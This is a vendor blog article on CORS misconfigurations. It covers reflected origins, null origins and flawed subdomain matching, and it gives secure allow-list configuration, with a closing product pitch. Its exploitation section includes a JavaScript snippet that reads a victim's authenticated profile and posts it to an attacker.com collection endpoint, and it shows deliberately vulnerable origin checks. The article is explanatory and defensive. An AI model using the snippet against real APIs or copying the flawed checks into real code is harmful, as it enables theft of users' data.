Application Security

CORS Misconfiguration Exploitation: The Silent API Exposure

CORS misconfigurations are one of the most common web security issues. They silently expose your APIs to cross-origin data theft.

Bob
Cloud Security Architect
5 min read

Cross-Origin Resource Sharing (CORS) controls which websites can make requests to your API from a browser. When configured correctly, it prevents malicious websites from reading your users' data. When misconfigured, it silently allows any website on the internet to make authenticated requests to your API and read the responses.

CORS misconfigurations are consistently among the most common findings in web application security assessments. They are easy to introduce, hard to detect through normal testing, and potentially devastating in impact.

How CORS Works

When a browser makes a cross-origin request (a request to a different domain than the page's origin), it sends an Origin header. The server responds with Access-Control-Allow-Origin to indicate whether the requesting origin is allowed to read the response.

For simple requests (GET, POST with simple content types), the browser sends the request and checks the response headers. If the response does not include an appropriate Access-Control-Allow-Origin header, the browser blocks the response from being read by JavaScript.

For complex requests (custom headers, PUT/DELETE methods), the browser sends a preflight OPTIONS request first. The server's response to the preflight determines whether the actual request is sent.

The critical point is that CORS is a browser-enforced mechanism. It does not prevent the server from processing the request. It prevents the browser from exposing the response to JavaScript. Server-side API calls, curl requests, and mobile applications are not affected by CORS.

Common Misconfigurations

Reflecting the Origin Header

The most dangerous misconfiguration is reflecting the request's Origin header in the Access-Control-Allow-Origin response:

Request: Origin: https://evil.com
Response: Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

This tells the browser that https://evil.com is allowed to read the response, including authenticated responses. An attacker hosting a page on evil.com can make requests to your API using the victim's cookies and read the response.

This pattern usually appears when developers want to allow multiple origins and implement it by dynamically setting the header from the request, without validating the origin against an allow list.

Null Origin

Some configurations allow the null origin:

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

The null origin is sent by local files, data URIs, and sandboxed iframes. Allowing it with credentials enables attacks from attacker-controlled sandboxed iframes.

Wildcard With Credentials

The specification prohibits Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true. But some custom implementations or middleware libraries incorrectly allow this combination, creating a universal access vulnerability.

Subdomain Matching Flaws

Some implementations allow any subdomain of the trusted domain:

// Vulnerable: allows evilexample.com
if (origin.endsWith('example.com')) { ... }

// Also vulnerable: allows evil.example.com
if (origin.endsWith('.example.com')) { ... }

The first pattern matches any domain ending in example.com, including attacker-controlled domains like evilexample.com. The second is safer but still trusts all subdomains, which is risky if any subdomain can be compromised through XSS or subdomain takeover.

Pre-Domain Wildcard

// Vulnerable: allows evil-example.com
if (origin.includes('example.com')) { ... }

This matches any origin containing the string, including attacker-controlled domains.

Exploitation

Data Theft

An attacker creates a page that makes fetch requests to your API with credentials: 'include'. If your API reflects the attacker's origin in the CORS headers, the browser sends the victim's cookies with the request and allows the attacker's JavaScript to read the response.

fetch('https://api.target.com/user/profile', {
  credentials: 'include'
})
.then(response => response.json())
.then(data => {
  // Send stolen data to attacker's server
  fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});

The victim only needs to visit the attacker's page while logged into your application. No user interaction beyond visiting the page is required.

Internal Network Scanning

CORS misconfigurations on internal applications allow an external attacker's page to probe internal network services through the victim's browser. The browser, running on the victim's machine inside the corporate network, can reach internal services that are not directly accessible from the internet.

Secure Configuration

Use an Explicit Allow List

Maintain a static list of allowed origins. Check the request Origin against this list and only return the matching origin in Access-Control-Allow-Origin:

const allowedOrigins = [
  'https://app.example.com',
  'https://admin.example.com'
];

if (allowedOrigins.includes(request.headers.origin)) {
  response.setHeader('Access-Control-Allow-Origin', request.headers.origin);
  response.setHeader('Vary', 'Origin');
}

Always Include Vary: Origin

When the Access-Control-Allow-Origin header changes based on the request, include Vary: Origin to prevent caching issues. Without it, a CDN might cache a response with one origin's permissions and serve it to requests from different origins.

Avoid Credentials When Possible

If your API does not need to accept browser-sent cookies for cross-origin requests, do not set Access-Control-Allow-Credentials: true. Use bearer tokens in the Authorization header instead, which are not automatically sent by the browser.

Restrict Allowed Methods and Headers

Only allow the HTTP methods and request headers your API actually uses:

Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization

Set Preflight Cache Duration

Cache preflight responses to reduce the overhead of OPTIONS requests:

Access-Control-Max-Age: 86400

Testing for CORS Misconfigurations

Test your API with various Origin headers: your legitimate origins, a random external origin, the null origin, subdomains of your domain, and domains that include your domain name as a substring. Verify that only legitimate origins receive permissive CORS headers.

How Safeguard.sh Helps

Safeguard.sh identifies security misconfigurations and vulnerable components across your web application infrastructure. It tracks the middleware and framework libraries that handle CORS configuration, identifies known vulnerabilities in those components, and provides visibility into the supply chain of your web services. When a framework library has a CORS-related vulnerability, Safeguard.sh ensures you know which applications are affected.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.